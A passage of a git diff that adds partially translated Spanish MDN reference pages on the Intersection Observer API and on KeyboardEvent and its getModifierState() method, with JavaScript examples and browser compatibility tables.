+ <li>El rectangulo delimitador del elemento target (el rectangulo mas pequeño, que encierra por completo los componentes que conforman el elemento) es obtenido llamando {{domxref("Element.getBoundingClientRect", "getBoundingClientRect()")}} en el target. Este es el rectangulo de intersección mas grande que puede ser. Los pasos restantes removeran las porciones que no intersectan.</li>
+ <li>Starting at the target's immediate parent block and moving outward, each containing block's clipping (if any) is applied to the intersection rectangle. A block's clipping is determined based on the intersection of the two blocks and the clipping mode (if any) specified by the {{cssxref("overflow")}} property. Setting <code>overflow</code> to anything but <code>visible</code> causes clipping to occur.</li>
+ <li>If one of the containing elements is the root of a nested browsing context (such as the document contained in an {{HTMLElement("iframe")}}, the intersection rectangle is clipped to the containing context's viewport, and recursion upward through the containers continues with the container's containing block. So if the top level of an <code>&lt;iframe&gt;</code> is reached, the intersection rectangle is clipped to the frame's viewport, then the frame's parent element is the next block recursed through toward the intersection root.</li>
+ <li>When recursion upward reaches the intersection root, the resulting rectangle is mapped to the intersection root's coordinate space.</li>
+ <li>The resulting rectangle is then updated by intersecting it with the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API#root-intersection-rectangle">root intersection rectangle</a>.</li>
+ <li>This rectangle is, finally, mapped to the coordinate space of the target's {{domxref("document")}}.</li>
+</ol>
+
+<h3 id="Callbacks_de_cambio_de_intersección">Callbacks de cambio de intersección</h3>
+
+<p>Cuando la cantidad del elemento target que es visible dentro del elemento root cruza uno de los umbrales de visibilidad, el callback del objeto {{domxref("IntersectionObserver")}} es ejecutado. El callback recibe como input un array de todos los objetos {{domxref("IntersectionObserverEntry")}}, uno por cada umbral que haya sido cruzado, y una referencia al objeto <code>IntersectionObserver</code> mismo.</p>
+
+<p>Cada entrada en la lista de  umbrales es un objeto {{domxref("IntersectionObserverEntry")}} que describe un umbral que ha sido cruzado; esto es, cada entrada describe qué porción de un elemento dado se está intersectando con el elemento root, sea que el elemento se considere en intersección o no, y la dirección en la cual ocurrió la transición.</p>
+
+<p>The code snippet below shows a callback which keeps a counter of how many times elements transition from not intersecting the root to intersecting by at least 75%. For a threshold value of 0.0 (default) the callback is called <a href="https://www.w3.org/TR/intersection-observer/#dom-intersectionobserverentry-isintersecting">approximately</a> upon transition of the boolean value of {{domxref("IntersectionObserverEntry.isIntersecting", "isIntersecting")}}. The snippet thus first checks that the transition is a positive one, then determines whether {{domxref("IntersectionObserverEntry.intersectionRatio", "intersectionRatio")}} is above 75%, in which case it increments the counter.</p>
+
+<pre class="notranslate">intersectionCallback(entries) =&gt; {
+  entries.forEach(entry =&gt; {
+    if (entry.isIntersecting) {
+      let elem = entry.target;
+
+      if (entry.intersectionRatio &gt;= 0.75) {
+        intersectionCounter++;
+      }
+    }
+  });
+}
+</pre>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver")}}</dt>
+ <dd>The primary interface for the Intersection Observer API. Provides methods for creating and managing an observer which can watch any number of target elements for the same intersection configuration. Each observer can asynchronously observe changes in the intersection between one or more target elements and a shared ancestor element or with their top-level {{domxref("Document")}}'s {{Glossary('viewport')}}. The ancestor or viewport is referred to as the <strong>root</strong>.</dd>
+ <dt>{{domxref("IntersectionObserverEntry")}}</dt>
+ <dd>Describes the intersection between the target element and its root container at a specific moment of transition. Objects of this type can only be obtained in two ways: as an input to your <code>IntersectionObserver</code> callback, or by calling {{domxref("IntersectionObserver.takeRecords()")}}.</dd>
+</dl>
+
+<h2 id="Un_ejemplo_sencillo">Un ejemplo sencillo</h2>
+
+<p>Este ejemplo causa que el elemento que queremos observar cambia de color y transparencia conforme se va haciendo más o menos visible. En la página <a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a>, puedes encontrar un ejemplo más extenso que muestra cómo calcular cuanto tiempo que una serie de elementos, como anuncios, son visibles para el usuario y reaccionar a esa información guardando estadísticas.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>El HTML para este ejemplo es muy simple, con un elemento primario que será la caja que querremos observar (con la creativa ID de <code>"box"</code>) y algo de contenido para dentro de la caja.</p>
+
+<pre class="brush: html notranslate">&lt;div id="box"&gt;
+  &lt;div class="vertical"&gt;
+    Welcome to &lt;strong&gt;The Box!&lt;/strong&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>El CSS del ejemplo no es muy importante para el propósito de este ejemplo: pinta el elemento y establece que los atributos {{cssxref("background-color")}} y {{cssxref("border")}} puedan participar en las <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transitions</a>, los cuáles usaremos para afectar los cambios al elemento conforme este es más o menos visible.</p>
+
+<pre class="brush: css notranslate">#box {
+  background-color: rgba(40, 40, 190, 255);
+  border: 4px solid rgb(20, 20, 120);
+  transition: background-color 1s, border 1s;
+  width: 350px;
+  height: 350px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  padding: 20px;
+}
+
+.vertical {
+  color: white;
+  font: 32px "Arial";
+}
+
+.extra {
+  width: 350px;
+  height: 350px;
+  margin-top: 10px;
+  border: 4px solid rgb(20, 20, 120);
+  text-align: center;
+  padding: 20px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Finalmente, vamos a mirar el código JavaScript que usa la API Intersection Observer API para hacer que las cosas ocurran.</p>
+
+<h4 id="Preparación">Preparación</h4>
+
+<p>Primero, necesitamos preparar algunas variables e instalar el observador.</p>
+
+<pre class="brush: js notranslate">var numSteps = 20.0;
+
+var boxElement;
+var prevRatio = 0.0;
+var increasingColor = "rgba(40, 40, 190, ratio)";
+var decreasingColor = "rgba(190, 40, 40, ratio)";
+
+// Set things up.
+
+window.addEventListener("load", function(event) {
+  boxElement = document.querySelector("#box");
+
+  createObserver();
+}, false);</pre>
+
+<p>Las constantes y variables que establecimos aquí son:</p>
+
+<dl>
+ <dt><code>numSteps</code></dt>
+ <dd>A constant which indicates how many thresholds we want to have between a visibility ratio of 0.0 and 1.0.</dd>
+ <dt><code>prevRatio</code></dt>
+ <dd>This variable will be used to record what the visibility ratio was the last time a threshold was crossed; this will let us figure out whether the target element is becoming more or less visible.</dd>
+ <dt><code>increasingColor</code></dt>
+ <dd>A string defining a color we'll apply to the target element when the visibility ratio is increasing. The word "ratio" in this string will be replaced with the target's current visibility ratio, so that the element not only changes color but also becomes increasingly opaque as it becomes less obscured.</dd>
+ <dt><code>decreasingColor</code></dt>
+ <dd>Similarly, this is a string defining a color we'll apply when the visibility ratio is decreasing.</dd>
+</dl>
+
+<p>We call {{domxref("EventTarget.addEventListener", "Window.addEventListener()")}} to start listening for the {{event("load")}} event; once the page has finished loading, we get a reference to the element with the ID <code>"box"</code> using {{domxref("Document.querySelector", "querySelector()")}}, then call the <code>createObserver()</code> method we'll create in a moment to handle building and installing the intersection observer.</p>
+
+<h4 id="Creating_the_intersection_observer">Creating the intersection observer</h4>
+
+<p>The <code>createObserver()</code> method is called once page load is complete to handle actually creating the new {{domxref("IntersectionObserver")}} and starting the process of observing the target element.</p>
+
+<pre class="brush: js notranslate">function createObserver() {
+  var observer;
+
+  var options = {
+    root: null,
+    rootMargin: "0px",
+    threshold: buildThresholdList()
+  };
+
+  observer = new IntersectionObserver(handleIntersect, options);
+  observer.observe(boxElement);
+}</pre>
+
+<p>This begins by setting up an <code>options</code> object containing the settings for the observer. We want to watch for changes in visibility of the target element relative to the document's viewport, so <code>root</code> is <code>null</code>. We need no margin, so the margin offset, <code>rootMargin</code>, is specified as "0px". This causes the observer to watch for changes in the intersection between the target element's bounds and those of the viewport, without any added (or subtracted) space.</p>
+
+<p>The list of visibility ratio thresholds, <code>threshold</code>, is constructed by the function <code>buildThresholdList()</code>. The threshold list is built programmatically in this example since there are a number of them and the number is intended to be adjustable.</p>
+
+<p>Once <code>options</code> is ready, we create the new observer, calling the {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} constructor, specifying a function to be called when intersection crosses one of our thresholds, <code>handleIntersect()</code>, and our set of options. We then call {{domxref("IntersectionObserver.observe", "observe()")}} on the returned observer, passing into it the desired target element.</p>
+
+<p>We could opt to monitor multiple elements for visibility intersection changes with respect to the viewport by calling <code>observer.observe()</code> for each of those elements, if we wanted to do so.</p>
+
+<h4 id="Building_the_array_of_threshold_ratios">Building the array of threshold ratios</h4>
+
+<p>The <code>buildThresholdList()</code> function, which builds the list of thresholds, looks like this:</p>
+
+<pre class="brush: js notranslate">function buildThresholdList() {
+  var thresholds = [];
+
+  for (var i=1.0; i&lt;=numSteps; i++) {
+    var ratio = i/numSteps;
+    thresholds.push(ratio);
+  }
+
+  thresholds.push(0);
+  return thresholds;
+}</pre>
+
+<p>This builds the array of thresholds—each of which is a ratio between 0.0 and 1.0, by pushing the value <code>i/numSteps</code> onto the <code>thresholds</code> array for each integer <code>i</code> between 1 and <code>numSteps</code>. It also pushes 0 to include that value. The result, given the default value of <code>numSteps</code> (20), is the following list of thresholds:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>#</th>
+   <th>Ratio</th>
+   <th>#</th>
+   <th>Ratio</th>
+  </tr>
+  <tr>
+   <th>1</th>
+   <td>0.05</td>
+   <th>11</th>
+   <td>0.55</td>
+  </tr>
+  <tr>
+   <th>2</th>
+   <td>0.1</td>
+   <th>12</th>
+   <td>0.6</td>
+  </tr>
+  <tr>
+   <th>3</th>
+   <td>0.15</td>
+   <th>13</th>
+   <td>0.65</td>
+  </tr>
+  <tr>
+   <th>4</th>
+   <td>0.2</td>
+   <th>14</th>
+   <td>0.7</td>
+  </tr>
+  <tr>
+   <th>5</th>
+   <td>0.25</td>
+   <th>15</th>
+   <td>0.75</td>
+  </tr>
+  <tr>
+   <th>6</th>
+   <td>0.3</td>
+   <th>16</th>
+   <td>0.8</td>
+  </tr>
+  <tr>
+   <th>7</th>
+   <td>0.35</td>
+   <th>17</th>
+   <td>0.85</td>
+  </tr>
+  <tr>
+   <th>8</th>
+   <td>0.4</td>
+   <th>18</th>
+   <td>0.9</td>
+  </tr>
+  <tr>
+   <th>9</th>
+   <td>0.45</td>
+   <th>19</th>
+   <td>0.95</td>
+  </tr>
+  <tr>
+   <th>10</th>
+   <td>0.5</td>
+   <th>20</th>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>We could, of course, hard-code the array of thresholds into our code, and often that's what you'll end up doing. But this example leaves room for adding configuration controls to adjust the granularity, for example.</p>
+
+<h4 id="Handling_intersection_changes">Handling intersection changes</h4>
+
+<p>When the browser detects that the target element (in our case, the one with the ID <code>"box"</code>) has been unveiled or obscured such that its visibility ratio crosses one of the thresholds in our list, it calls our handler function, <code>handleIntersect()</code>:</p>
+
+<pre class="brush: js notranslate">function handleIntersect(entries, observer) {
+  entries.forEach(function(entry) {
+    if (entry.intersectionRatio &gt; prevRatio) {
+      entry.target.style.backgroundColor = increasingColor.replace("ratio", entry.intersectionRatio);
+    } else {
+      entry.target.style.backgroundColor = decreasingColor.replace("ratio", entry.intersectionRatio);
+    }
+
+    prevRatio = entry.intersectionRatio;
+  });
+}</pre>
+
+<p>For each {{domxref("IntersectionObserverEntry")}} in the list <code>entries</code>, we look to see if the entry's {{domxref("IntersectionObserverEntry.intersectionRatio", "intersectionRatio")}} is going up; if it is, we set the target's {{cssxref("background-color")}} to the string in <code>increasingColor</code> (remember, it's <code>"rgba(40, 40, 190, ratio)"</code>), replaces the word "ratio" with the entry's <code>intersectionRatio</code>. The result: not only does the color get changed, but the transparency of the target element changes, too; as the intersection ratio goes down, the background color's alpha value goes down with it, resulting in an element that's more transparent.</p>
+
+<p>Similarly, if the <code>intersectionRatio</code> is going up, we use the string <code>decreasingColor</code> and replace the word "ratio" in that with the <code>intersectionRatio</code> before setting the target element's <code>background-color</code>.</p>
+
+<p>Finally, in order to track whether the intersection ratio is going up or down, we remember the current ratio in the variable <code>prevRatio</code>.</p>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>Abajo se encuentra el contenido resultante. Desplace ésta página hacia arriba y abajo y note como la apariencia de la caja cambia mientras lo hace.</p>
+
+<p>{{EmbedLiveSample('A_simple_example', 400, 400)}}</p>
+
+<p>Hay un ejemplo aún más extensivo en <a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Cronometrando la visibilidad de un elemento con la API Intersection Observer</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>15</td>
+   <td>{{CompatGeckoDesktop(55)}}<sup>[1][2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(38)}}</td>
+   <td>{{WebKitBug(159475)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatGeckoMobile(55)}}<sup>[1][2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(38)}}</td>
+   <td>{{WebKitBug(159475)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature has been implemented since Gecko 53.0 {{geckoRelease("53.0")}} behind the preference <code>dom.IntersectionObserver.enabled</code>, which was <code>false</code> by default. Enabled by default beginning in Firefox 55. See {{bug(1243846)}}.</p>
+
+<p>[2] Firefox doesn't currently take the {{cssxref("clip-path")}} of ancestor elements into account when computing the visibility of an element within its root. See {{bug(1319140)}} for the status of this issue.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/IntersectionObserver">Intersection Observer polyfill</a></li>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a></li>
+ <li>{{domxref("IntersectionObserver")}} and {{domxref("IntersectionObserverEntry")}}</li>
+</ul>
diff --git a/files/es/web/api/keyboardevent/getmodifierstate/index.html b/files/es/web/api/keyboardevent/getmodifierstate/index.html
new file mode 100644
index 0000000000..b44ecc6da3
--- /dev/null
+++ b/files/es/web/api/keyboardevent/getmodifierstate/index.html
@@ -0,0 +1,253 @@
+---
+title: KeyboardEvent.getModifierState()
+slug: Web/API/KeyboardEvent/getModifierState
+tags:
+  - API
+  - DOM
+  - KeyboardEvent
+  - Referencia
+  - getModifierState
+  - metodo
+translation_of: Web/API/KeyboardEvent/getModifierState
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>El método <code><strong>KeyboardEvent.getModifierState()</strong></code> retorna <code>true</code> respecto al estado actual de la tecla modificadora especificada si la misma está presionada o bloqueada, en caso contrario devuelve <code>false</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <code><em>active</em> = <em>event</em>.getModifierState(<em>keyArg</em>);</code></pre>
+
+<h3 id="Retorna">Retorna</h3>
+
+<p>A {{jsxref("Boolean")}}</p>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em><code>keyArg</code></em></dt>
+ <dd>El valor de la tecla modificadora. El valor debe ser uno de los valores {{domxref("KeyboardEvent.key")}} que representan las teclas modificadoras, o el string <code>"Accel"</code> {{deprecated_inline}}, el cual es case-sensitive.</dd>
+</dl>
+
+<h2 id="Teclas_modificadoras_en_Internet_Explorer">Teclas modificadoras en Internet Explorer</h2>
+
+<p>IE9 usa <code>"Scroll"</code> para <code>"ScrollLock"</code> y <code>"Win"</code> para <code>"OS"</code>.</p>
+
+<h2 id="Teclas_modificadoras_en_Gecko">Teclas modificadoras en Gecko</h2>
+
+<table style="width: 100%;">
+ <caption>When getModifierState() returns true on Gecko?</caption>
+ <thead>
+  <tr>
+   <th scope="row"> </th>
+   <th scope="col">Windows</th>
+   <th scope="col">Linux (GTK)</th>
+   <th scope="col">Mac</th>
+   <th scope="col">Android 2.3</th>
+   <th scope="col">Android 3.0 or latter</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"><code>"Alt"</code></th>
+   <td>Either <kbd>Alt</kbd> key or <kbd>AltGr</kbd> key pressed</td>
+   <td><kbd>Alt</kbd> key pressed</td>
+   <td><kbd>⌥ Option</kbd> key pressed</td>
+   <td colspan="2" rowspan="1"><kbd>Alt</kbd> key or <kbd>option</kbd> key pressed</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"AltGraph"</code></th>
+   <td>
+    <p>Both <kbd>Alt</kbd> and <kbd>Ctrl</kbd> keys are pressed, or <kbd>AltGr</kbd> key is pressed</p>
+   </td>
+   <td><kbd>Level 3 Shift</kbd> key (or <kbd>Level 5 Shift</kbd> key {{gecko_minversion_inline("20.0")}}) pressed</td>
+   <td><kbd>⌥ Option</kbd> key pressed</td>
+   <td colspan="2" rowspan="1" style="background-color: rgb(204, 204, 204); text-align: center;"><em>Not supported</em></td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"CapsLock"</code></th>
+   <td colspan="3" style="text-align: center;">During LED for <kbd>⇪ Caps Lock</kbd> turned on</td>
+   <td style="text-align: center; background-color: rgb(204, 204, 204);"><em>Not supported</em></td>
+   <td>While <kbd>CapsLock</kbd> is locked {{gecko_minversion_inline("29.0")}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"Control"</code></th>
+   <td>Either <kbd>Ctrl</kbd> key or <kbd>AltGr</kbd> key pressed</td>
+   <td><kbd>Ctrl</kbd> key pressed</td>
+   <td><kbd>control</kbd> key pressed</td>
+   <td><kbd>menu</kbd> key pressed.</td>
+   <td><kbd>Ctrl</kbd> key, <kbd>control</kbd> key or <kbd>menu</kbd> key pressed.</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"Fn"</code></th>
+   <td colspan="4" style="background-color: rgb(204, 204, 204); text-align: center;"><em>Not supported</em></td>
+   <td><kbd>Function</kbd> key is pressed, but we're not sure what key makes the modifier state active. <kbd>Fn</kbd> key on Mac keyboard doesn't cause this active. {{gecko_minversion_inline("29.0")}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"FnLock"</code></th>
+   <td colspan="5" rowspan="1" style="background-color: rgb(204, 204, 204); text-align: center;"><em>Not supported</em></td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"Hyper"</code></th>
+   <td colspan="5" style="background-color: rgb(204, 204, 204); text-align: center;"><em>Not supported</em></td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"Meta"</code></th>
+   <td style="background-color: rgb(204, 204, 204); text-align: center;"><em>Not supported</em></td>
+   <td style="text-align: center;"><kbd>Meta</kbd> key pressed {{gecko_minversion_inline("17.0")}}</td>
+   <td><kbd>⌘ Command</kbd> key pressed</td>
+   <td style="text-align: center; background-color: rgb(204, 204, 204);"><em>Not supported</em></td>
+   <td><kbd>⊞ Windows Logo</kbd> key or <kbd>command</kbd> key pressed</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"NumLock"</code></th>
+   <td colspan="2" style="text-align: center;">During LED for <kbd>Num Lock</kbd> turned on</td>
+   <td>A key on numpad pressed</td>
+   <td style="text-align: center; background-color: rgb(204, 204, 204);"><em>Not supported</em></td>
+   <td>While <kbd>NumLock</kbd> is locked {{gecko_minversion_inline("29.0")}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"OS"</code></th>
+   <td><kbd>⊞ Windows Logo</kbd> key pressed</td>
+   <td><kbd>Super</kbd> key or <kbd>Hyper</kbd> key pressed (typically, mapped to <kbd>⊞ Windows Logo</kbd> key)</td>
+   <td colspan="3" rowspan="1" style="background-color: rgb(204, 204, 204); text-align: center;"><em>Not supported</em></td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"ScrollLock"</code></th>
+   <td>During LED for <kbd>Scroll Lock</kbd> turned on</td>
+   <td>During LED for <kbd>Scroll Lock</kbd> turned on, but typically this isn't supported by platform</td>
+   <td colspan="2" style="background-color: rgb(204, 204, 204); text-align: center;"><em>Not supported</em></td>
+   <td>While <kbd>ScrollLock</kbd> is locked {{gecko_minversion_inline("29.0")}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"Shift"</code></th>
+   <td colspan="5" rowspan="1" style="text-align: center;"><kbd>⇧ Shift</kbd> key pressed</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"Super"</code></th>
+   <td colspan="5" style="background-color: rgb(204, 204, 204); text-align: center;"><em>Not supported</em></td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"Symbol"</code></th>
+   <td colspan="5" style="background-color: rgb(204, 204, 204); text-align: center;"><em>Not supported</em></td>
+  </tr>
+  <tr>
+   <th scope="row"><code>"SymbolLock"</code></th>
+   <td colspan="5" style="background-color: rgb(204, 204, 204); text-align: center;"><em>Not supported</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+ <li>On the other platforms, "Alt", "Control" and "Shift" may be supported.</li>
+ <li>All modifiers (except <code>"FnLock"</code>, <code>"Hyper"</code>, <code>"Super"</code> and <code>"Symbol"</code> which are defined after Gecko implements this) are always supported for untrusted events on Gecko. This doesn't depend on the platform.</li>
+</ul>
+
+<h2 id="El_modificador_virtual_Accel"> El modificador virtual <code>"Accel"</code></h2>
+
+<div class="note"><strong>Note:</strong> The <code>"Accel"</code> virtual modifier has been effectively <strong>deprecated</strong> in current drafts of the DOM3 Events specification.</div>
+
+<p><code>getModifierState()</code> also accepts a deprecated virtual modifier named <code>"Accel"</code>. <code>event.getModifierState("Accel")</code> returns <code>true</code> when at least one of {{domxref("KeyboardEvent.ctrlKey")}} or {{domxref("KeyboardEvent.metaKey")}} is <code>true</code>.</p>
+
+<p>In old implementations and outdated specifications, it returned <code>true</code> when a modifier which is the typical modifier key for the shortcut key is pressed. For example, on Windows, pressing <kbd>Ctrl</kbd> key may make it return <code>true</code>. However, on Mac, pressing <kbd>⌘ Command</kbd> key may make it return <code>true</code>. Note that which modifier key makes it return true depends on platforms, browsers, and user settings. For example, Firefox users can customize this with a pref, <code>"ui.key.accelKey"</code>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">// Ignore if following modifier is active.
+if (event.getModifierState("Fn") ||
+    event.getModifierState("Hyper") ||
+    event.getModifierState("OS") ||
+    event.getModifierState("Super") ||
+    event.getModifierState("Win") /* hack for IE */) {
+  return;
+}
+
+// Also ignore if two or more modifiers except Shift are active.
+if (event.getModifierState("Control") +
+    event.getModifierState("Alt") +
+    event.getModifierState("Meta") &gt; 1) {
+  return;
+}
+
+// Handle shortcut key with standard modifier
+if (event.getModifierState("Accel")) {
+  switch (event.key.toLowerCase()) {
+    case "c":
+      if (event.getModifierState("Shift")) {
+        // Handle Accel + Shift + C
+        event.preventDefault(); // consume the key event
+      }
+      break;
+    case "k":
+      if (!event.getModifierState("Shift")) {
+        // Handle Accel + K
+        event.preventDefault(); // consume the key event
+      }
+      break;
+  }
+  return;
+}
+
+// Do somethig different for arrow keys if ScrollLock is locked.
+if ((event.getModifierState("ScrollLock") ||
+       event.getModifierState("Scroll") /* hack for IE */) &amp;&amp;
+    !event.getModifierState("Control") &amp;&amp;
+    !event.getModifierState("Alt") &amp;&amp;
+    !event.getModifierState("Meta")) {
+  switch (event.key) {
+    case "ArrowDown":
+    case "Down": // hack for IE and old Gecko
+      event.preventDefault(); // consume the key event
+      break;
+    case "ArrowLeft":
+    case "Left": // hack for IE and old Gecko
+      // Do something different if ScrollLock is locked.
+      event.preventDefault(); // consume the key event
+      break;
+    case "ArrowRight":
+    case "Right": // hack for IE and old Gecko
+      // Do something different if ScrollLock is locked.
+      event.preventDefault(); // consume the key event
+      break;
+    case "ArrowUp":
+    case "Up": // hack for IE and old Gecko
+      // Do something different if ScrollLock is locked.
+      event.preventDefault(); // consume the key event
+      break;
+  }
+}
+</pre>
+
+<div class="note">
+<p>Although, this example uses<code> .getModifierState()</code> with <code>"Alt"</code>, <code>"Control"</code>, <code>"Meta"</code> and <code>"Shift"</code>, perhaps it's better for you to use <code>altKey</code>, <code>ctrlKey</code>, <code>metaKey</code> and <code>shiftKey</code> because they are shorter and may be faster.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#widl-KeyboardEvent-getModifierState', 'getModifierState()')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition (<a href="https://dvcs.w3.org/hg/dom3events/raw-file/tip/html/DOM3Events-key.html#keys-modifier">Modifier Keys spec</a>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Browsers">Compatibilidad con Browsers</h2>
+
+
+
+<p>{{Compat("api.KeyboardEvent.getModifierState")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>The {{domxref("KeyboardEvent")}} this method belongs to.</li>
+ <li>{{domxref("MouseEvent.getModifierState")}}</li>
+</ul>
diff --git a/files/es/web/api/keyboardevent/index.html b/files/es/web/api/keyboardevent/index.html
new file mode 100644
index 0000000000..bcb27d00b6
--- /dev/null
+++ b/files/es/web/api/keyboardevent/index.html
@@ -0,0 +1,441 @@
+---
+title: KeyboardEvent
+slug: Web/API/KeyboardEvent
+tags:
+  - API
+translation_of: Web/API/KeyboardEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>Los objetos <strong><code>KeyboardEvent</code></strong> describen una interacción del usuario con el teclado. Cada evento describe una tecla; el tipo de evento(<code>keydown</code>, <code>keypress</code>, o <code>keyup</code>) identifica el tipo de acción realizada.</p>
+
+<div class="note"><strong>Nota:</strong> El <code>KeyboardEvent</code> solo indica qué está pasando en una tecla. Cuando necesite manejar la entrada de texto, use el evento <code><a href="/en-US/docs/DOM/DOM_event_reference/input" rel="custom">input</a></code> de HTML5 en su lugar. Por ejemplo, si el usuario introduce texto desde un sistema de tipo manuscrito como una tableta, los eventos para teclas no podrán ser lanzados.</div>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}</dt>
+ <dd>Crea un objeto <code>KeyboardEvent</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Esta interfaz también hereda métodos de sus padres, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.getModifierState()")}}</dt>
+ <dd>Devuelve un {{jsxref("Boolean")}} indicando si una tecla modificadora, como <kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd>, o <kbd>Meta</kbd>, fue pulsada cuando el evento fue creado.</dd>
+ <dt>{{domxref("KeyboardEvent.initKeyEvent()")}}{{deprecated_inline}}</dt>
+ <dd>Inicializa un objeto <code>KeyboardEvent</code>. Este método solo ha sido implementado por Gecko (otros usados {{domxref("KeyboardEvent.initKeyboardEvent()")}}) y nunca más será usado. El modo estándar moderno es usar el constructor {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</dd>
+ <dt>{{domxref("KeyboardEvent.initKeyboardEvent()")}}{{deprecated_inline}}</dt>
+ <dd>Inicializa un objeto <code>KeyboardEvent</code>. Este método nunca fue implementado por Gecko (quien usa {{domxref("KeyboardEvent.initKeyEvent()")}}) y no debe ser utilizado más. El modo estándar moderno es usar el constructor {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Esta interfaz también hereda propiedades de sus padres {{domxref("UIEvent")}} y {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.altKey")}} {{Readonlyinline}}</dt>
+ <dd>Devuelve un {{jsxref("Boolean")}} que será <code>true</code> si la tecla <kbd>Alt</kbd> ( <kbd>Option</kbd> or <kbd>⌥</kbd> on OS X) fue activada cuando el evento fue generado.</dd>
+ <dt>{{domxref("KeyboardEvent.char")}} {{Non-standard_inline()}}{{Deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Devuelve un {{domxref("DOMString")}} representando el valor del carácter de la tecla. Si la tecla corresponde con un carácter imprimible, este valor es una cadena Unicode no vacía que contiene este carácter. Si la tecla no tiene una representación imprimible, esta es una cadena vacía.</dd>
+ <dd>
